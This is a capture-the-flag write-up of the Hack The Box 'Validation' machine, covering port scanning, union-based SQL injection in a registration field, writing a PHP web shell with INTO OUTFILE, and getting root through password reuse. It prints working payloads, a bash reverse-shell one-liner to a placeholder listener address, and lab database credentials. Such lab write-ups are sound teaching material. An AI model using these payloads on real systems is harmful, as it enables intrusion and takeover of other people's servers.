This post documents my process for solving the Validation box on Hack The Box. This challenge centers on SQL injection, writing a web shell via SQLi, and privilege escalation via password reuse.
Recon
Started with full port scan:
ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 22,80,4566,5000,5001,5002,5003,5004,5005,5006,5007,5008,8080
nmap -p$ports -sC -sV 10.10.11.116
Main open ports: 22 (SSH), 80 (Apache), 4566 (nginx), 8080 (nginx).
SQL Injection Discovery
During registration, both username
and country
are sent. The country
parameter is injectable—single quotes caused a MySQL error:
Uncaught Error: Call to a member function fetch_assoc()
Confirmed union-based SQL injection:
' union select null --
(one column)' union select @@version --
(got10.5.11-MariaDB-1
)database()
isregistration
Enumerated schemas and columns:
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA
listed databasesunion select table_name from information_schema.tables where table_schema='registration' --
revealedregistration
table
Uploading a Web Shell (Second-Order SQLi)
Used SQL injection to write a web shell:
Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
Note: You must visit /account.php
after submitting the payload for the injection to take effect (second-order SQLi).
Once in place, access the shell:
http://10.10.11.116/shell.php?cmd=id
Listing files, found config.php
:
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Reverse Shell
To get a reverse shell, use:
curl http://10.10.11.116/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"'
(Remember to have a listener on your machine: nc -lvnp 4444
)
Privilege Escalation (Password Reuse)
Tried the MySQL credentials as the root password:
su -
Password: uhc-9qual-global-pw
Success! Now running as root, could grab root.txt
.
Lessons Learned
- Test all input fields for SQLi; union-based SQLi remains highly effective.
- Second-order SQLi: the payload is triggered later, not immediately.
- Writing a web shell via SQLi is a classic and powerful move.
- Always read discovered config files for hardcoded credentials.
- Try passwords everywhere—password reuse is a real-world admin mistake.
Writeup based on my exploitation process, with inspiration from CTF and community references.